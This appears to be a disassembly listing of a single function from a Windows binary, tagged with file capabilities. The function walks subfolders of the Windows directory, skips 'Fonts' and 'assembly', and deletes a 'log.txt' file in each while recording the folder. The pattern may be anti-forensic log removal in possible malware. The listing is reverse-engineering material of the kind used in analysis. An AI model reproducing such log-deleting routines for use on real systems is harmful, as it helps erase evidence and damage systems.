Function at 0x140036290
Capabilities:
Check if file exists
Delete file
Enumerate files on windows
Get common file path
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2e0]
sub rsp, 0x3e0
mov rax, qword [0x1400bc0f8]
xor rax, rsp
mov qword [rbp + 0x2d0], rax
mov edx, 0x104
lea rcx, [rbp + 0xb0]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
test eax, eax
jne 0x140036309
movsd xmm0, qword [str.C:Windows]
movsd qword [rbp + 0xb0], xmm0
movzx eax, word [0x14008c4c8]
mov word [rbp + 0xb8], ax
movzx eax, byte [0x14008c4ca]
mov byte [rbp + 0xba], al
xor r13d, r13d
mov ecx, r13d
nop
movzx eax, byte [rbp + rcx + 0xb0]
mov byte [rbp + rcx + 0x1c0], al
lea rcx, [rcx + 1]
test al, al
jne 0x140036310
lea rcx, [rbp + 0x1c0]
dec rcx
lea rcx, [rcx + 1]
cmp byte [rcx], r13b
jne 0x140036331
movzx eax, word [0x14008c4ac]
mov word [rcx], ax
lea rcx, [rbp + 0x1c0]
dec rcx
nop
lea rcx, [rcx + 1]
cmp byte [rcx], r13b
jne 0x140036350
mov eax, dword [0x14008c4cc]
mov dword [rcx], eax
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x1c0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov r15, rax
cmp rax, 0xffffffffffffffff
je 0x140036867
movabs r12, 0x7fffffffffffffff
mov r14d, reloc.WS2_32.dll_shutdown
test byte [rsp + 0x70], 0x10
je 0x140036848
cmp byte [rbp - 0x64], 0x2e
je 0x140036848
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], reloc.WS2_32.dll_ntohs
mov byte [rsp + 0x50], 0
lea rax, [rbp + 0xb0]
mov rbx, 0xffffffffffffffff
nop
inc rbx
cmp byte [rax + rbx], 0
jne 0x1400363d0
lea rcx, [rsp + 0x50]
cmp rbx, 0xf
ja 0x1400363ff
mov qword [rsp + 0x60], rbx
mov r8, rbx
lea rdx, [rbp + 0xb0]
call fcn.14004c3b0
mov byte [rsp + rbx + 0x50], 0
jmp 0x140036416
mov qword [rsp + 0x20], rbx
lea r9, [rbp + 0xb0]
xor r8d, r8d
mov rdx, rbx
call fcn.140015de0
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x14003644c
lea rax, [rcx + 1]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x50]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x50]
mov word [rax + rcx], 0x5c
jmp 0x14003646d
mov qword [rsp + 0x20], 1
lea r9, [0x14008c4ac]
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x50]
call fcn.140015de0
lea rax, [rbp - 0x64]
mov rdi, 0xffffffffffffffff
nop dword [rax + rax]
inc rdi
cmp byte [rax + rdi], 0
jne 0x140036480
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rdi, rax
ja 0x1400364ce
lea rax, [rcx + rdi]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8, rdi
lea rdx, [rbp - 0x64]
mov rcx, rbx
call fcn.14004c3b0
mov byte [rbx + rdi], 0
jmp 0x1400364e7
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x64]
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x50]
call fcn.140015de0
lea rdx, str.Fonts
lea rcx, [rbp - 0x64]
call fcn.14006aaac
test eax, eax
je 0x14003680f
lea rdx, str.assembly
lea rcx, [rbp - 0x64]
call fcn.14006aaac
test eax, eax
je 0x14003680f
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], r13
mov qword [rsp + 0x48], r13
lea rsi, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x60]
cmp rdi, r12
ja 0x140036897
mov qword [rsp + 0x48], reloc.WS2_32.dll_ntohs
cmp rdi, 0x10
jae 0x140036571
mov qword [rsp + 0x40], rdi
mov r8d, reloc.WS2_32.dll_recv
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.14004c3b0
jmp 0x1400365b7
mov rbx, rdi
or rbx, 0xf
cmp rbx, r12
jbe 0x140036582
mov rbx, r12
jmp 0x14003658a
cmp rbx, 0x16
cmovb rbx, r14
lea rdx, [rbx + 1]
lea rcx, [rsp + 0x30]
call fcn.1400158a0
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rbx
lea r8, [rdi + 1]
mov rdx, rsi
mov rcx, rax
call fcn.14004c3b0
nop
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x1400365ed
lea rax, [rcx + 1]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x30]
cmp rdx, 0x10
cmovae rax, qword [rsp + 0x30]
mov word [rax + rcx], 0x5c
jmp 0x14003660e
mov qword [rsp + 0x20], 1
lea r9, [0x14008c4ac]
xor r8d, r8d
lea edx, [r8 + 1]
lea rcx, [rsp + 0x30]
call fcn.140015de0
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
mov rax, rdx
sub rax, rcx
cmp rax, 7
jb 0x14003665a
lea rax, [rcx + 7]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rdx, 0x10
cmovae rbx, qword [rsp + 0x30]
add rbx, rcx
mov r8d, 7
lea rdx, str.log.txt
mov rcx, rbx
call fcn.14004c3b0
mov byte [rbx + 7], 0
jmp 0x14003667b
mov qword [rsp + 0x20], 7
lea r9, str.log.txt
xor r8d, r8d
lea edx, [r8 + 7]
lea rcx, [rsp + 0x30]
call fcn.140015de0
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
lea rdx, [0x140089878]
call fcn.140053038
mov rbx, rax
test rax, rax
je 0x1400366b5
xor r8d, r8d
xor edx, edx
mov rcx, rax
call fcn.1400543c8
mov rcx, rbx
call fcn.1400531cc
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1400367d1
test al, 0x10
jne 0x1400367d1
lea rcx, [rsp + 0x30]
cmp qword [rsp + 0x48], 0x10
cmovae rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rbx, qword [0x1400bd908]
cmp rbx, qword [0x1400bd910]
je 0x1400367bc
xorps xmm0, xmm0
movups xmmword [rbx], xmm0
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r13
lea r14, [rsp + 0x50]
cmp qword [rsp + 0x68], 0x10
cmovae r14, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
cmp rsi, r12
ja 0x1400368a3
mov qword [rbx + 0x18], reloc.WS2_32.dll_ntohs
cmp rsi, 0x10
jae 0x140036768
mov qword [rbx + 0x10], rsi
mov r8d, reloc.WS2_32.dll_recv
mov rdx, r14
mov rcx, rbx
call fcn.14004c3b0
add qword [0x1400bd908], 0x20
mov r14d, reloc.WS2_32.dll_shutdown
jmp 0x1400367d1
mov rdi, rsi
or rdi, 0xf
cmp rdi, r12
jbe 0x140036779
mov rdi, r12
jmp 0x140036786
cmp rdi, 0x16
mov eax, reloc.WS2_32.dll_shutdown
cmovb rdi, rax
lea rdx, [rdi + 1]
mov rcx, rbx
call fcn.1400158a0
mov qword [rbx], rax
mov qword [rbx + 0x10], rsi
mov qword [rbx + 0x18], rdi
lea r8, [rsi + 1]
mov rdx, r14
mov rcx, rax
call fcn.14004c3b0
add qword [0x1400bd908], 0x20
mov r14d, reloc.WS2_32.dll_shutdown
jmp 0x1400367d1
lea r8, [rsp + 0x50]
mov rdx, rbx
lea rcx, [0x1400bd900]
call fcn.14002fc50
nop
mov rdx, qword [rsp + 0x48]
cmp rdx, 0x10
jb 0x14003680f
inc rdx
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036809
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400368a9
call fcn.14003f74c
nop
mov rdx, qword [rsp + 0x68]
cmp rdx, 0x10
jb 0x140036848
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140036843
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14003689d
call fcn.14003f74c
lea rdx, [rsp + 0x70]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x140036390
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x2d0]
xor rcx, rsp
call fcn.14003fb10
lea r11, [rsp + 0x3e0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140015880
nop
call fcn.140062acc
nop
call fcn.140015880
nop
call fcn.140062acc
int3